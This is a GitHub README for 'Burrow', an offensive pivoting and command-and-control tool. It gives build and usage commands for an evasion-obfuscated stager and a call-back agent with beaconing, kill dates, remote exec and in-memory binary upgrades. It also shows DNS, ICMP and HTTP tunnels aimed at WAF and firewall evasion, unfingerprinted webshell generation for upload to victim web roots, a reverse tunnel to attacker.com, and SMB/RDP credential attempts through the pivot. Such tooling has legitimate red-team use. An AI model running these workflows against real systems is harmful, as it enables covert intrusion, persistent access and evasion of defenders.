loudmumble/burrow
GitHub: loudmumble/burrow
Stars: 0 | Forks: 0
# Burrow v4.1.1
-[.exe]
# Build single platform
make build-linux-amd64
make build-linux-arm64
make build-windows-amd64
# Build all platforms + stager + evasion + packed variants
make build-all
### Stager
The stager (`cmd/stager/`) is a minimal agent for initial access — no TUI, no TUN, no SOCKS5. Only `raw` and `ws` transports are supported (no DNS, DoH, ICMP, or HTTP). Built separately:
# Standard stager (linux-amd64 + windows-amd64)
make build-stager # -> build/stager-linux-amd64, build/stager-windows-amd64.exe
# Obfuscated stager (requires anvil toolkit cloned next to burrow)
make build-stager-evasion
# Evasion + packed (smallest binary)
make build-stager-packed
Embed server address and fingerprint at compile time with `-ldflags`:
CGO_ENABLED=0 go build -ldflags="-s -w \
-X main.defaultServer=10.0.0.1:11601 \
-X main.defaultNoTLS=false \
-X main.defaultFingerprint=AB:CD:EF:01:23:45:67:89 \
-X main.defaultMasq=true" \
-o build/stager ./cmd/stager/
Pre-compiled binaries are in `build/`:
| File | Platform |
|------|----------|
| `build/burrow-linux-amd64` | Linux x86_64 |
| `build/burrow-linux-arm64` | Linux ARM64 |
| `build/burrow-windows-amd64.exe` | Windows x86_64 |
| `build/burrow-darwin-amd64` | macOS Intel |
| `build/burrow-darwin-arm64` | macOS Apple Silicon |
## Transports
Select transport with `--transport ` on both server and agent. Both sides must use the same transport.
| Transport | Flag | Description | When to Use |
|-----------|------|-------------|-------------|
| Raw TCP/TLS | `raw` (default) | Direct TCP with TLS. Auto-generated Ed25519 self-signed certs. Fingerprint verification on agent side. | Default. Fast, reliable. Use when the network allows direct TCP. |
| WebSocket | `ws` | HTTP/HTTPS upgrade protocol. | Firewall evasion. Traffic looks like normal HTTPS. |
| DNS tunnel | `dns` | Encodes traffic in DNS queries/responses. | Restrictive networks where only DNS egress is allowed. |
| DNS-over-HTTPS | `doh` | Same DNS encoding wrapped in HTTPS requests to public DoH resolvers. Agent-side only — server uses `--transport dns`. | When DNS tunnel works but DNS traffic is being monitored. Looks like normal HTTPS browsing. |
| ICMP tunnel | `icmp` | Encodes traffic in ICMP echo payloads. | Networks where only ping is allowed. Requires raw socket privileges. |
| HTTP | `http` | HTTP polling. Traffic encoded as HTTP request/response pairs. Server provides a fake HTML cover page on GET /. | Restrictive networks where only HTTP/HTTPS egress is allowed. Works through web proxies and WAFs. |
| STDIO | `stdio` | Reads from stdin, writes to stdout. No network connection. | SSH ProxyCommand, container exec, piped input. Agent-side only — no server transport needed. |
### Transport × Method Compatibility
Not all pivoting methods work well over all transports. Low-bandwidth transports (DNS, DoH, ICMP) can technically carry any protocol, but latency and throughput make some methods impractical.
| Method | Raw TLS | WebSocket | DNS | DoH | ICMP | HTTP | Notes |
|--------|---------|-----------|-----|-----|------|------|-------|
| **SOCKS5** | ✓ Fast | ✓ Fast | ⚠ Painful | ⚠ Painful | ⚠ Last resort | ✓ Good | TCP over low-BW works but slow |
| **Port Forward** | ✓ Fast | ✓ Fast | ⚠ Usable | ⚠ Usable | ⚠ Last resort | ✓ Good | Single TCP stream over DNS/ICMP tolerable |
| **Reverse Forward** | ✓ Fast | ✓ Fast | ⚠ Usable | ⚠ Usable | ⚠ Last resort | ✓ Good | Agent→server works over any transport |
| **TUN** | ✓ Fast | ✓ Fast | ✗ Unusable | ✗ Unusable | ✗ Unusable | ⚠ Slow | Raw IP needs bandwidth |
| **TAP** | ✓ Fast | ✓ Fast | ✗ Unusable | ✗ Unusable | ✗ Unusable | ⚠ Slow | Ethernet frames need bandwidth |
| **HTTP Tunnel** | ✓ Fast | ✓ Fast | ✓ Works | ✓ Works | ⚠ Works | N/A | Standalone method; transport is carrier |
| **HTTP Proxy** | ✓ Fast | ✓ Fast | ✗ Unusable | ✗ Unusable | ✗ Unusable | ✓ Good | Needs bandwidth for large responses |
| **Pivot Chain** | ✓ Fast | ✓ Good | ⚠ Very slow | ⚠ Slow | ✗ Unusable | ⚠ Slow | Each hop adds latency |
| **Relay** | ✓ Fast | ✓ Fast | ⚠ Usable | ⚠ Usable | ⚠ Last resort | ✓ Good | Works over any bidirectional channel |
## Configuration File
Burrow supports YAML configuration files for both server and agent commands. Use `--config ` to load settings from a file instead of (or in addition to) CLI flags.
**Priority:** CLI flags > config file > defaults.
burrow server --config server.yaml
burrow agent --config agent.yaml
### Server Configuration
listen: "0.0.0.0:11601" # Listen address for agent connections
transport: "raw" # raw, ws, dns, doh, icmp, http
no_tls: false # Disable TLS (use plain TCP)
cert: "" # Path to TLS certificate PEM (overrides auto-generated)
key: "" # Path to TLS private key PEM
tui: false # Enable interactive TUI dashboard
webui: "0.0.0.0:9099" # Enable WebUI on this address
mcp_api: false # Enable REST API for MCP integration
api_token: "" # API auth token (auto-generated if empty)
log_file: "" # Write server logs to file
daemon: false # Run as background daemon
auto_bind: # Auto-start services when an agent connects
- transport: "raw" # Match agents using this transport
action: "socks5" # Start SOCKS5 proxy
listen: "127.0.0.1:1080"
- transport: "ws" # Match WebSocket agents
action: "tun" # Start TUN interface
routes_from_agent: true # Auto-add agent IPs as routes
### Agent Configuration
connect: "10.0.0.1:11601" # Required: server address to connect to
transport: "raw" # raw, ws, dns, doh, icmp, http (comma-separated for fallback)
fp: "" # Expected server TLS fingerprint (SHA256)
no_tls: false # Connect without TLS
max_retries: 0 # Max reconnection attempts (0 = infinite)
beacon: "" # Beacon interval (e.g. "30s", "2m"). Empty = persistent
kill_date: "" # Self-destruct after RFC3339 timestamp (e.g. 2026-04-15T18:00:00Z)
schedule: "" # Only connect during hours (e.g. "08:00-18:00")
tap_relay_ports: "" # TAP relay ports (e.g. "22,80,445" or "8445:445,8080:80")
stdio: false # Use stdin/stdout as transport (SSH ProxyCommand)
proxy_url: "" # HTTP/HTTPS proxy URL for outbound connections
proxy_user: "" # Proxy username (DOMAIN\user for NTLM)
proxy_pass: "" # Proxy password
proxy_ntlm: false # Use NTLM authentication with the proxy
Any CLI flag can still be used to override config file values:
burrow agent --config agent.yaml --transport dns
An example config file is provided at `burrow.example.yaml` in the repository root.
## Commands Reference
### `burrow server`
Start the proxy server that accepts agent connections.
On startup, the server generates a self-signed Ed25519 TLS certificate and prints its SHA256 fingerprint. Pass this fingerprint to agents with `--fp` (or `-f`) so they can verify the server's identity. Short prefixes are supported — the first 8 bytes (as shown in the TUI) are sufficient.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--listen, -l` | `0.0.0.0:11601` | Listen address for agent connections |
| `--cert` | | Path to TLS certificate PEM file (overrides auto-generated cert) |
| `--key` | | Path to TLS private key PEM file |
| `--no-tls` | | Disable TLS (plaintext connections) |
| `--transport, -t` | `raw` | Transport protocol: `raw`, `ws`, `dns`, `doh`, `icmp`, `http`. Comma-separated for fallback: `ws,dns` |
| `--daemon` | | Run as background daemon (fork child process, write PID file) |
| `--pid-file` | `burrow.pid` | Path to PID file (used with `--daemon`) |
### `burrow agent`
Connect back to a proxy server. The agent sends a handshake containing hostname, OS, IP addresses, PID, and version. The server assigns a session ID and the agent waits for commands: tunnel requests, route management, listener requests.
The agent auto-reconnects on disconnect. Use `--max-retries` to cap reconnection attempts. On reconnect, the server automatically restores the previous session's TUN, TAP, tunnels, and routes — no manual reconfiguration needed.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--connect, -c` | (required) | Server address to connect to (`host:port`) |
| `--fp, -f` | | Expected server TLS fingerprint (SHA256). Full or prefix match. |
| `--max-retries` | `0` | Max reconnection attempts. `0` means infinite. |
| `--beacon` | `0` | Beacon interval between sessions (e.g. `30s`, `2m`). `0` means persistent. |
| `--kill-date` | | Self-destruct after this date/time (RFC3339, e.g. `2026-04-15T18:00:00Z`) |
| `--schedule` | | Only connect during these hours (e.g. `08:00-18:00`) |
| `--transport, -t` | `raw` | Transport protocol: `raw`, `ws`, `dns`, `doh`, `icmp`, `http`. Comma-separated for fallback: `ws,dns` |
| `--no-tls` | | Connect without TLS |
| `--tap-relay-ports` | (defaults) | Comma-separated TAP relay ports. Use `PORT` for same-port relay or `LISTEN:FORWARD` for port mapping. Defaults: `22,53,80,88,135,139,389,445,3389,5985,8080,9389` |
| `--stdio` | | Use stdin/stdout as transport (for SSH ProxyCommand or container exec) |
| `--daemon` | | Run server as background daemon (creates PID file, forks child process) |
| `--proxy-url` | | HTTP/HTTPS proxy URL for agent outbound connections (e.g. `http://proxy.corp:8080`) |
| `--proxy-user` | | Proxy username. Use `DOMAIN\user` format for NTLM authentication |
| `--proxy-pass` | | Proxy password |
| `--proxy-ntlm` | | Use NTLM authentication with the proxy |
**Examples:**
# Basic connection
burrow agent --connect 10.0.0.1:11601
# With fingerprint verification (recommended)
burrow agent -c 10.0.0.1:11601 --fp AB:CD:EF:01:23:45:67:89
# WebSocket transport
burrow agent --connect 10.0.0.1:443 --transport ws
# DNS tunnel
burrow agent --connect 10.0.0.1:53 --transport dns
# ICMP tunnel
burrow agent --connect 10.0.0.1:0 --transport icmp
# Limit reconnection attempts
burrow agent -c 10.0.0.1:11601 --max-retries 5
# STDIO transport (for SSH ProxyCommand or container exec)
burrow agent --stdio -c 10.0.0.1:11601
# Through an NTLM-authenticated proxy
burrow agent -c 10.0.0.1:11601 --proxy-url http://proxy.corp:8080 --proxy-user "DOMAIN\user" --proxy-pass "s3cret" --proxy-ntlm
**Expected output:**
[*] Connecting to 10.0.0.1:11601 (transport: raw)
[*] TLS fingerprint verified: SHA256:a3f2c1...
[+] Session established: session-abc123
[*] Waiting for commands...
On disconnect, the agent sleeps and retries. With `--max-retries 0`, it retries indefinitely. On reconnect, the server automatically restores the previous session's TUN interface, TAP interface, tunnels, and routes — no manual reconfiguration needed.
The server can also send commands to connected agents via the REST API:
| API Endpoint | Action |
|---|---|
| `POST /api/sessions/{id}/sleep` | Tell agent to disconnect for N seconds (with jitter), then reconnect |
| `POST /api/sessions/{id}/upgrade` | Push a new binary to the agent. On Linux, the upgrade executes in-memory via `memfd_create` — no file on disk. On other platforms, a temp file is created and executed. |
| `DELETE /api/sessions/{id}` | Kill session (force-disconnect agent, tear down all infrastructure) |
| `POST /api/sessions/{id}/exec` | Execute a command on the agent, receive output |
| `POST /api/sessions/{id}/download` | Download a file from the agent |
| `POST /api/sessions/{id}/upload` | Upload a file to the agent |
The sleep and upgrade features are useful for operational security: sleep lets you pause an agent during monitoring windows, and upgrade lets you push a new binary to a running agent without redeploying.
### `burrow session list`
List all active agent sessions. Queries the REST API. The server must be running with `--mcp-api` or `--webui` enabled.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--webui` | `127.0.0.1:9099` | WebUI server address (persistent flag on `session` command) |
| `--token` | | API authentication token |
| `--no-tls` | | Use plain HTTP instead of HTTPS (default: use HTTPS) |
| `--json` | | Output session list as JSON (session list only) |
**Example:**
burrow session list --token
burrow session list --token --json
burrow session list --token --webui 127.0.0.1:9099
burrow session list --token --no-tls --webui 127.0.0.1:9099
**Expected output:**
ID HOSTNAME OS IPs CREATED
session-abc123 target01 linux 10.0.0.5 2024-01-15 14:32:01
session-def456 winbox windows 192.168.1.20 2024-01-15 14:45:12
### `burrow session info `
Show detailed information about a specific session, including active tunnels and routes.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--webui` | `127.0.0.1:9099` | WebUI server address (persistent flag on `session` command) |
| `--token` | | API authentication token |
| `--no-tls` | | Use plain HTTP instead of HTTPS (default: use HTTPS) |
**Example:**
burrow session info session-abc123 --token
**Expected output:**
Session: session-abc123
Hostname: target01
OS: linux
IPs: 10.0.0.5, 172.16.0.1
Status: connected
Created: 2024-01-15 14:32:01
Tunnels:
ID DIRECTION LISTEN REMOTE PROTOCOL STATUS
tun-001 local 127.0.0.1:8080 10.0.0.5:80 tcp active
tun-002 remote 0.0.0.0:9090 192.168.1.10:22 tcp active
Routes:
CIDR STATUS
10.0.0.0/24 active
192.168.1.0/24 active
### `burrow session use `
Enter an interactive REPL for managing a specific session. The prompt is `burrow> `.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--webui` | `127.0.0.1:9099` | WebUI server address (persistent flag on `session` command) |
| `--token` | | API authentication token |
| `--no-tls` | | Use plain HTTP instead of HTTPS (default: use HTTPS) |
**Example:**
burrow session use session-abc123 --token
**Interactive commands:**
| Command | Description |
|---------|-------------|
| `info` | Show session details |
| `tunnels` | List active tunnels |
| `routes` | List active routes |
| `tunnel add [protocol]` | Create a tunnel. Direction: `local`, `remote`, or `reverse`. Protocol defaults to `tcp`. |
| `tunnel rm ` | Remove a tunnel |
| `route add ` | Add a network route |
| `route rm ` | Remove a network route |
| `tun start` | Start TUN interface for transparent pivoting (root required) |
| `tun stop` | Stop TUN interface |
| `tap start [relay-ports]` | Start TAP interface with IP/CIDR (root required). Relay ports: `22,80,445` or `8445:445` for port mapping |
| `tap stop` | Stop TAP interface |
| `socks5 start [listen]` | Start SOCKS5 proxy (default: `127.0.0.1:1080`) |
| `socks5 stop` | Stop SOCKS5 proxy |
| `kill` | Kill session (disconnect agent, tear down all infrastructure) |
| `help` | Show available commands |
| `exit` | Exit the REPL |
**Example session:**
burrow session use session-abc123
Connected to session-abc123 (target01 / linux)
burrow> info
Session: session-abc123
Hostname: target01
...
burrow> tunnel add local 127.0.0.1:8080 10.0.0.5:80
[+] Tunnel created: tun-001
burrow> tunnel add remote 0.0.0.0:9090 192.168.1.10:22
[+] Tunnel created: tun-002
burrow> route add 10.0.0.0/24
[+] Route added: 10.0.0.0/24
burrow> tap start 10.10.10.200/24 22,80,445
[+] TAP interface started — 10.10.10.200/24 assigned
burrow> tunnels
ID DIRECTION LISTEN REMOTE PROTOCOL STATUS
tun-001 local 127.0.0.1:8080 10.0.0.5:80 tcp active
tun-002 remote 0.0.0.0:9090 192.168.1.10:22 tcp active
burrow> tunnel rm tun-001
[+] Tunnel removed: tun-001
burrow> route rm 10.0.0.0/24
[+] Route removed: 10.0.0.0/24
burrow> exit
## TUN Transparent Pivoting (Root Required)
TUN mode creates a virtual network interface on the operator's machine, enabling transparent IP-level routing to the agent's network. Unlike SOCKS5 proxying, TUN mode works with ANY protocol (TCP, UDP, ICMP) and requires no proxy configuration on tools -- traffic routes transparently through the kernel's routing table.
TUN mode uses gvisor's userspace TCP/IP stack on the agent side, so the agent does NOT need root privileges. Only the operator (server) needs root to create the TUN interface.
### How It Works
1. The operator starts TUN on a session -- this creates a `tun0` interface with a magic IP (`240.0.0.1`)
2. The operator adds routes for target subnets (e.g., `10.10.10.0/24`) pointing through the TUN interface
3. IP packets matching those routes flow through TUN -> yamux stream -> agent's netstack -> real target
4. Responses flow back the same path transparently
### Why Routes Are Manual
Routes must be added manually because the server cannot reliably determine which subnets are C2 infrastructure vs. target networks. Adding the wrong route (e.g., the C2 subnet) would create a routing loop that kills the agent connection. This is the same approach used by ligolo-ng and other professional pivoting tools.
### TUN Workflow -- TUI
# Start server with TUI as root
sudo burrow server --tui --webui
1. In the session list, press `t` to toggle TUN ON for the selected agent
2. Press `Enter` to enter the session detail view
3. Press `r` to open the Add Route form
4. Enter the target subnet CIDR (e.g., `10.10.10.0/24`) and press `Enter`
5. Traffic to that subnet now flows transparently through the agent
### TUN Workflow -- CLI
# Start server as root
sudo burrow server
# In another terminal, enter the session
burrow session use
# Start TUN interface
burrow> tun start
[+] TUN started
# Add route for target network
burrow> route add 10.10.10.0/24
[+] Route added: 10.10.10.0/24
# Now use ANY tool -- traffic routes transparently
# No proxy configuration needed!
nmap -sT -Pn 10.10.10.0/24
nxc smb 10.0.0.25 -u admin -p 'Password1!'
curl http://10.0.0.15/
ssh user@10.0.0.25
# When done
burrow> tun stop
[+] TUN stopped
### TUN Workflow -- Real-World Example
Scenario: You have SSH access to a dual-homed victim (192.168.1.100 on eth0, 10.0.0.5 on eth1). You want to reach the internal 10.10.10.0/24 network.
# 1. Start Burrow server (operator, as root)
sudo burrow server --tui --webui
# 2. SSH reverse tunnel to forward agent traffic
ssh -R 11601:127.0.0.1:11601 user@192.168.1.100
# 3. Run agent on victim (through the SSH tunnel)
./burrow agent --connect 127.0.0.1:11601
# 4. In TUI: press 't' to enable TUN on the new session
# 5. Press Enter, then 'r', add route: 10.10.10.0/24
# 6. Tools now work directly against the internal network:
nxc smb 10.0.0.25 -u admin -p 'P@ssw0rd123' --users
crackmapexec rdp 10.10.10.0/24
### Common Mistakes
| Mistake | Result | Fix |
|---------|--------|-----|
| Routing the C2 subnet through TUN | Agent connection dies (routing loop) | Only route TARGET subnets, never the C2 path |
| Forgetting `sudo` | TUN creation fails (permission denied) | Run `burrow server` as root |
| Adding overlapping routes | Traffic may not flow as expected | Use specific CIDRs, avoid /8 or /0 |
| Agent dies, routes remain | Traffic blackholed | Remove stale routes with `route rm` or `ip route del` |
### `burrow proxy socks5`
Start a SOCKS5 proxy server (RFC 1928). Supports the CONNECT method. Useful for routing arbitrary TCP traffic through an agent session without setting up explicit port forwards.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--listen, -l` | `127.0.0.1:1080` | Listen address |
| `--auth` | | Authentication credentials as `user:pass` |
**Examples:**
# Basic SOCKS5 proxy
burrow proxy socks5
# Custom listen address
burrow proxy socks5 --listen 0.0.0.0:9050
# With authentication
burrow proxy socks5 --listen 127.0.0.1:1080 --auth operator:s3cr3t
**Expected output:**
[*] SOCKS5 proxy listening on 127.0.0.1:1080
[+] Connection: 127.0.0.1:54321 -> 10.0.0.5:80 (142 bytes transferred)
[*] Shutting down. Total connections: 3, bytes transferred: 48291
Configure tools to use the proxy:
curl --socks5 127.0.0.1:1080 http://10.0.0.5/
proxychains nmap -sT 10.0.0.0/24
### `burrow proxy http`
The proxy includes a Dialer hook for session routing. When used with an agent session, traffic routes through the yamux session to internal networks rather than the local network stack.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--listen, -l` | `127.0.0.1:8080` | Listen address (host:port) |
| `--auth` | | Authentication credentials as `user:pass` |
**Examples:**
# Basic HTTP proxy
burrow proxy http
# Custom listen address
burrow proxy http --listen 127.0.0.1:3128
# With Basic auth
burrow proxy http --listen 127.0.0.1:8080 --auth operator:s3cr3t
**Expected output:**
[*] HTTP proxy listening on 127.0.0.1:8080
[+] CONNECT 10.0.0.5:443 from 127.0.0.1:54321 (512 bytes transferred)
[+] GET http://internal.host/api from 127.0.0.1:54322 -> 200 OK (1024 bytes)
[*] Shutting down. Total connections: 5, bytes transferred: 92140
Configure tools to use the proxy:
# curl with HTTP proxy
curl -x http://127.0.0.1:8080 http://internal.host/
# Environment variable for tools that respect HTTP_PROXY
HTTP_PROXY=http://127.0.0.1:8080 wget http://internal/
# With auth
curl -x http://operator:s3cr3t@127.0.0.1:8080 http://internal.host/
### `burrow tunnel server`
HTTP tunnel server. Runs on the target machine. Accepts inbound HTTP POST requests from the attacker and relays TCP connections to internal hosts. Serves a fake "It works!" HTML cover page on GET / to blend in with normal web traffic.
This solves the egress-blocked scenario: the target has no outbound connectivity, but the attacker can reach the target's HTTP port. The server listens for HTTP requests and acts as a relay, so all pivoting traffic flows inbound from the attacker's perspective.
**Modes:**
- **Basic** (default): reGeorg-style XOR encoding, query-param commands, `X-Token` auth header.
- **Secure** (`-s`): AES-256-GCM encryption (HKDF-SHA256 key derivation), commands in cookies, HTML-wrapped responses that look like a modern SPA. Always returns 200 OK — no signaturable query strings or error status codes. Designed to evade WAFs and DPI.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--listen, -l` | `0.0.0.0:8080` | Listen address (host:port) |
| `--key, -k` | | Shared encryption/authentication key |
| `--path` | `/b` | URL path for the tunnel endpoint |
| `--secure, -s` | `false` | Enable secure mode (AES-256-GCM, cookie commands, HTML wrapping) |
**Examples:**
# Basic HTTP tunnel server (no encryption)
burrow tunnel server -l 0.0.0.0:8080
# With encryption and authentication
burrow tunnel server -l 0.0.0.0:8080 -k s3cret
# Secure mode — AES-256-GCM, WAF evasion
burrow tunnel server -l 0.0.0.0:443 -k s3cret -s
# Custom path (blend in with existing app routes)
burrow tunnel server -l 0.0.0.0:8080 -k s3cret --path /api/health -s
**Expected output:**
[*] Starting tunnel server on 0.0.0.0:8080 [secure (AES-256-GCM)]
**Protocol details:**
### `burrow tunnel client`
HTTP tunnel client providing a local SOCKS5 proxy interface. Runs on the attacker machine. All SOCKS5 traffic is tunneled through HTTP POST requests to the server. Point your tools at the local SOCKS5 port and traffic flows through the HTTP tunnel to the target network.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--connect, -c` | (required) | Tunnel server URL (e.g. `http://target:8080/b`) |
| `--listen, -l` | `127.0.0.1:1080` | Local SOCKS5 listen address |
| `--key, -k` | | Shared encryption/authentication key (must match server) |
| `--secure, -s` | `false` | Enable secure mode (must match server) |
**Examples:**
# Connect to a running tunnel server (basic mode)
burrow tunnel client -c http://target:8080/b
# With encryption (key must match server)
burrow tunnel client -c http://target:8080/b -k s3cret
# Secure mode (must match server's -s flag)
burrow tunnel client -c https://target:443/app -k s3cret -s
# Custom local SOCKS5 port
burrow tunnel client -c http://target:8080/b -k s3cret -l 127.0.0.1:9050
**Expected output:**
[*] Starting tunnel client [secure (AES-256-GCM)]
[*] SOCKS5 proxy: 127.0.0.1:1080
[*] Tunnel server: https://target:443/app
**Full workflow (both sides):**
# On target (no outbound connectivity needed):
burrow tunnel server -l 0.0.0.0:8080 -k s3cret
# On attacker:
burrow tunnel client -c http://target:8080/b -k s3cret -l 127.0.0.1:1080
# Now route tools through the SOCKS5 proxy:
proxychains ssh user@10.0.0.20
proxychains curl http://10.0.0.30/admin
### `burrow generate webshell`
Generate tunnel webshells (PHP, ASPX, or JSP) that implement the same protocol as `burrow tunnel server`. Deploy the generated file to the target's web root, then connect with `burrow tunnel client`. Useful when you can upload files to a web server but can't deploy a binary. Use `--secure` to generate AES-256-GCM webshells for the secure tunnel mode.
Generated webshells contain no identifying comments and no hardcoded strings that would fingerprint them as Burrow-related. The key is embedded at generation time.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--format, -f` | (required) | Webshell format: `php`, `aspx`, or `jsp` |
| `--key, -k` | (required) | Shared encryption/authentication key (embedded in the webshell) |
| `--output, -o` | stdout | Output file path |
| `--secure, -s` | `false` | Generate secure mode webshell (AES-256-GCM) |
**Examples:**
# Generate a PHP webshell
burrow generate webshell --format php --key s3cret -o tunnel.php
# Generate an ASPX webshell
burrow generate webshell --format aspx --key s3cret -o tunnel.aspx
# Generate a JSP webshell
burrow generate webshell --format jsp --key s3cret -o tunnel.jsp
# Print to stdout (pipe or inspect)
burrow generate webshell --format php --key s3cret
**Workflow: generate, upload, connect:**
# Step 1: Generate the webshell on the attacker machine
burrow generate webshell --format php --key s3cret -o tunnel.php
# Step 2: Upload tunnel.php to the target web root
# (via file upload vulnerability, FTP, SCP, CMS plugin, etc.)
# Step 3: Connect with tunnel client
burrow tunnel client -c http://target/tunnel.php -k s3cret -l 127.0.0.1:1080
# Step 4: Route tools through the SOCKS5 proxy
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains curl http://10.0.0.5/internal-api
**Security notes:**
Webshells are generated without any identifying comments, author strings, or tool-specific markers. The key is embedded as a derived constant so the raw key string does not appear in the file. Each generated file is functionally identical to a hand-written implementation of the protocol.
### `burrow tunnel local`
Local port forward. Listens on a local address and forwards TCP connections to a remote target. Equivalent to `ssh -L`. UDP forwarding is not currently supported — use TUN mode for UDP traffic.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--listen, -l` | `127.0.0.1:8080` | Local listen address |
| `--remote, -r` | (required) | Remote target address (`host:port`) |
**Examples:**
# Forward local 8080 to internal web server
burrow tunnel local --listen 127.0.0.1:8080 --remote 10.0.0.5:80
# Forward local 5432 to internal Postgres
burrow tunnel local --listen 127.0.0.1:5432 --remote db.internal:5432
# Listen on all interfaces
burrow tunnel local --listen 0.0.0.0:8080 --remote 10.0.0.5:80
**Expected output:**
[*] Local forward: 127.0.0.1:8080 -> 10.0.0.5:80
[+] Connection from 127.0.0.1:54321: 8192 bytes transferred
[*] Shutting down.
### `burrow tunnel remote`
Remote port forward. Listens on the given address and forwards connections to a target. Equivalent to `ssh -R`.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--listen, -l` | `0.0.0.0:9090` | Listen address |
| `--remote, -r` | (required) | Target address (`host:port`) |
**Examples:**
# Expose internal SSH on port 9090
burrow tunnel remote --listen 0.0.0.0:9090 --remote 192.168.1.10:22
# Custom listen address
burrow tunnel remote --listen 127.0.0.1:3306 --remote db.internal:3306
**Expected output:**
[*] Remote forward: 0.0.0.0:9090 -> 192.168.1.10:22
[+] Connection from 10.0.0.1:41234: 4096 bytes transferred
### `burrow tunnel reverse`
Reverse tunnel with automatic reconnection. The agent side connects out to a controller address, and the controller forwards connections to a local target. Useful when the target can't accept inbound connections.
Uses exponential backoff for reconnection and sends keepalive heartbeats to detect dead connections.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--agent-addr` | `0.0.0.0:8443` | Agent/controller address to connect to |
| `--local-target` | `127.0.0.1:22` | Local target to forward connections to |
| `--max-retries` | `10` | Max reconnection attempts before giving up |
**Examples:**
# Reverse tunnel for SSH access
burrow tunnel reverse --agent-addr attacker.com:8443 --local-target 127.0.0.1:22
# Reverse tunnel for RDP
burrow tunnel reverse --agent-addr 10.0.0.1:8443 --local-target 127.0.0.1:3389 --max-retries 20
**Expected output:**
[*] Reverse tunnel: connecting to attacker.com:8443
[*] Forwarding to 127.0.0.1:22
[+] Connected. Waiting for connections...
[-] Connection lost. Retrying in 2s (attempt 1/10)
[+] Reconnected.
### `burrow pivot`
Multi-hop pivot chain. Connects through a sequence of intermediate hosts to reach a final target. Each hop is a `host:port` pair. Use `--local-port` to open a local listener that routes through the full chain.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--target, -t` | (required) | Final target host |
| `--port, -p` | `8443` | Final target port |
| `--hop` | | Intermediate hop (`host:port`). Repeatable for multi-hop chains. |
| `--local-port` | `0` | Open a local listener on this port. `0` disables the listener. |
**Examples:**
# Single hop
burrow pivot --target final.host --port 443 --hop hop1:22
# Multi-hop chain
burrow pivot --target final.host --port 443 --hop hop1:22 --hop hop2:443
# With local listener for proxying
burrow pivot --target final.host --port 443 --hop hop1:22 --hop hop2:443 --local-port 1080
**Expected output:**
[*] Pivot chain:
local -> hop1:22 -> hop2:443 -> final.host:443
[*] Latency: hop1=12ms, hop2=34ms, final=67ms
[*] Local listener: 127.0.0.1:1080
[+] Ready.
### `burrow scan`
Network enumeration with service detection. Scans a subnet for reachable hosts, open ports, and running services with version detection.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--subnet, -s` | (required) | Subnet to scan (CIDR notation) |
| `--ports, -p` | top 20 common ports | Comma-separated list of ports to scan |
| `--timeout` | `2s` | Per-port connection timeout |
| `--concurrency` | `256` | Max concurrent connections |
| `-v` | (off) | Banner grabbing for version detection |
| `-vv` | (off) | Detailed probes (SMB, RDP negotiation) |
| `-vvv` | (off) | Full raw banner output |
**Verbosity levels:**
| Level | Command | Speed | Detection |
|-------|---------|-------|-----------|
| Quick (default) | `burrow scan -s 10.0.0.0/24` | Fast | Port + service name only |
| Standard | `burrow scan -s 10.0.0.0/24 -v` | Medium | + SSH/HTTP/FTP version from banners |
| Detailed | `burrow scan -s 10.0.0.0/24 -vv` | Slower | + SMB1/SMB2, RDP, protocol negotiation |
| Intensive | `burrow scan -s 10.0.0.0/24 -vvv` | Slowest | Full raw banners for manual analysis |
**Examples:**
# Quick scan - find live hosts fast
burrow scan -s 10.0.0.0/24
# Standard scan with service versions
burrow scan -s 10.0.0.0/24 -v
# Target specific ports with banners
burrow scan -s 10.0.0.0/24 -p 22,445,3389,5985 -v
# Full enumeration for critical targets
burrow scan -s 10.10.10.0/24 -p 22,80,445,3389,5985,8080 -vv
**Expected output (with -v):**
[*] Scanning 10.0.0.0/24 [standard mode]
[*] Found 3 host(s) in 2.1s:
10.0.0.5 Services: [PIVOT]
22/tcp open SSH (OpenSSH 8.9)
80/tcp open HTTP (nginx)
445/tcp open SMB (SMB2/3)
10.0.0.25 Services:
22/tcp open SSH
3389/tcp open RDP
5985/tcp open WinRM
10.0.0.50 Services: [PIVOT]
80/tcp open HTTP (Apache)
### `burrow proxify`
Transparent network proxying for Linux. Runs a command with all its TCP connections redirected through a SOCKS5 proxy, similar to proxychains but without needing proxychains or LD_PRELAY library configuration.
When run as root, creates a network namespace with a veth pair and iptables NAT rules to transparently redirect traffic through the SOCKS5 proxy. When run as non-root, requires `BURROW_SOCKS5` environment variable set and the `burrow-preload.so` library (built with `make build-preload`).
DNS resolution is proxied through the SOCKS5 connection by default. Use `--no-dns` to disable DNS proxying and use the system resolver instead.
**Root mode (network namespace):**
# Run nmap through SOCKS5 proxy (root required)
sudo burrow proxify --socks5 127.0.0.1:1080 -- nmap -sT -Pn 10.0.0.0/24
# Run any command through the proxy
sudo burrow proxify --socks5 127.0.0.1:1080 -- curl http://10.0.0.5/
**Non-root mode (LD_PRELOAD):**
# Build the preload library first
make build-preload
# Set environment and run
export BURROW_SOCKS5=127.0.0.1:1080
LD_PRELOAD=./build/burrow-preload.so curl http://10.0.0.5/
# With DNS proxying
export BURROW_SOCKS5=127.0.0.1:1080
export BURROW_DNS=127.0.0.1:1080
LD_PRELOAD=./build/burrow-preload.so curl http://10.0.0.5/
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--socks5, -s` | (required for root mode) | SOCKS5 proxy address (`host:port`) |
| `--no-dns` | `false` | Disable DNS proxying through SOCKS5 (use system resolver) |
| `--` | | Separator before the command to run |
### `burrow proxy dns`
